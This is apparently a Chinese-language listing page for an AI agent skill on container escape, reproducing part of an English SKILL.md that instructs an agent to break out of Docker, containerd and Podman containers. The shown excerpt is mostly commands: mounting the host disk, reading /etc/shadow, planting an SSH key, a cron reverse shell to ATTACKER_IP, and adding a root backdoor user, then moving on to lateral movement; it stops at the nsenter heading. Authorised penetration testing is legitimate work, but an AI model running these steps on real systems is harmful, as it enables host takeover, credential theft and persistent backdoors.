offensive-container-escape
它能做什么
这是一套检查 Docker、containerd 和 Podman 配置能否让容器逃逸到宿主系统的方法论。适合在获得书面许可的情况下测试容器隔离的安全专业人员。
适用场景
- ✓你在授权渗透测试中测试容器隔离的时候。
- ✓你想检查特权容器或暴露的 Docker 套接字是否能获得宿主机访问权限的时候。
- ✓你需要在评估中检查容器能力和运行时版本是否存在逃逸风险的时候。
技能链接
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/container/offensive-container-escape/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们已获得授权测试我们的容器配置。请检查容器能否访问宿主机。”
每周 5 个新技能,1 分钟读完。
工作原理
这个技能首先确认 shell 位于容器内,然后列出它的能力、挂载点和套接字。接着逐一检查每种已知错误配置,并记录是否可以访问宿主机。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Container Escape and Breakout
You have a shell inside a container. Your objective is to break out to the underlying host operating system. Container isolation relies on Linux namespaces, cgroups, seccomp profiles, AppArmor/SELinux, and dropped capabilities. Every misconfiguration in these layers is an escape vector. This skill walks you through systematic enumeration, exploitation of common misconfigurations, abuse of exposed runtime sockets, capability-based escapes, cgroup breakouts, and known CVEs against container runtimes.
Quick Workflow
- Confirm you are inside a container (check for
.dockerenv, cgroup entries, PID 1 process). - Enumerate capabilities, mounts, namespaces, and sockets with automated tools.
- Identify the escape vector: privileged mode, socket exposure, dangerous capabilities, cgroup misconfiguration, or vulnerable runtime.
- Execute the breakout technique matching the vector.
- Validate host access by reading
/etc/hostname, checking PID namespace, or writing to host filesystem. - Pivot from host access to lateral movement across the cluster or infrastructure.
Phase 1: Container Detection and Enumeration
Before attempting escape, confirm you are containerized and map the attack surface.
Detecting Container Environment
# Check for Docker marker file
ls -la /.dockerenv
# Check cgroup entries for container identifiers
cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'
# Check PID 1 process (containers typically run app process, not init)
cat /proc/1/cmdline | tr '\0' ' '
# Check for container-specific environment variables
env | grep -iE 'kubernetes|docker|container|pod'
# Check hostname (often a truncated container ID)
hostname
# Check mount info for overlay filesystem
cat /proc/1/mountinfo | head -20
Automated Enumeration Tools
# deepce - Docker enumeration and escalation tool
# Download and run (if outbound access is available)
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh
# CDK - Zero-dependency container penetration toolkit
./cdk evaluate
# amicontained - Inspect container runtime and capabilities
./amicontained
# Manual capability check with capsh
capsh --print
cat /proc/1/status | grep -i cap
Decoding Capabilities Manually
# Read raw capability hex from /proc
cat /proc/1/status | grep CapEff
# Example output: CapEff: 0000003fffffffff
# Decode with capsh
capsh --decode=0000003fffffffff
# Key dangerous capabilities to look for:
# CAP_SYS_ADMIN - mount filesystems, cgroup manipulation, namespace operations
# CAP_SYS_PTRACE - ptrace any process, cross namespace boundaries
# CAP_NET_ADMIN - network namespace manipulation, raw sockets
# CAP_DAC_OVERRIDE - bypass file read/write/execute permission checks
# CAP_SYS_RAWIO - direct I/O to /dev/mem, /dev/kmem
# CAP_SYS_MODULE - load/unload kernel modules
# CAP_MKNOD - create device files
Checking Namespace Isolation
# Compare PID namespace
ls -la /proc/1/ns/pid
ls -la /proc/self/ns/pid
# Check if sharing host namespaces
ls -la /proc/1/ns/ | awk '{print $NF}'
# If namespace inodes match host, isolation is broken
# Check mount namespace for host mounts
cat /proc/1/mountinfo | grep -E '/dev/sd|/dev/nvme|hostPath'
findmnt
# Check for host network namespace
ip addr show
# If you see host interfaces (eth0 with host IP), hostNetwork is true
cat /proc/net/tcp
Phase 2: Privileged Container Breakout
A container run with --privileged drops nearly all isolation. It has all capabilities, can see host devices, and has no seccomp or AppArmor restrictions.
Mount Host Filesystem
# List available block devices
fdisk -l 2>/dev/null || lsblk
# Identify host root filesystem device (commonly /dev/sda1 or /dev/nvme0n1p1)
# Mount it into the container
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Verify host access
cat /mnt/host/etc/hostname
cat /mnt/host/etc/shadow
ls -la /mnt/host/root/
# Drop an SSH key for persistent access
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys
# Plant a reverse shell in cron
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab
# Add a backdoor user
echo 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow
nsenter to Host Namespaces
常见问题
它检查哪些类型的错误配置?
它检查特权模式、暴露的运行时套接字、危险的 Linux 能力和 cgroup 设置。
它涵盖已知的运行时漏洞吗?
涵盖。它列出了 runc 等容器运行时的已知漏洞,便于你检查系统是否受影响。
这只用于授权测试吗?
是的。它是为你拥有书面许可的评估而编写的。
详情
作者的原始描述
Container escape and breakout techniques targeting Docker, containerd, and Podman runtimes. Covers privileged container breakout via host filesystem mount and nsenter, Docker socket abuse through /var/run/docker.sock, Linux capability exploitation including CAP_SYS_ADMIN, CAP_SYS_PTRACE, and CAP_NET_ADMIN, cgroup v1 notify_on_release escape, runc CVEs such as CVE-2019-5736 and CVE-2024-21626 Leaky Vessels, kernel exploits from within containers, and Dockerfile misconfigurations like --privileged and host namespace sharing. Includes enumeration with capsh, amicontained, deepce, CDK, and nsenter
repo: SnailSploit/Claude-Red
热度
- GitHub 星标
- 10k
- 排名
- #11951
- 许可证
- MIT
- 更新时间
- 2026/10/12
评论
- …
同一仓库的更多技能
offensive-active-directory
10k帮你的智能体规划经授权的 Active Directory 安全测试,从梳理网络到找出通往域管理员的攻击路径。
offensive-netexec
10k帮你的智能体使用 NetExec(nxc)工具进行经授权的网络测试,涵盖协议、认证和凭据检查。
offensive-api-abuse
10k帮你的智能体规划经授权的 API 安全测试,查找业务逻辑滥用、GraphQL 风险和竞态条件。
offensive-api-security
10k帮你的智能体依据 OWASP API Top 10,对 REST、gRPC 和 WebSocket API 进行经授权的安全测试。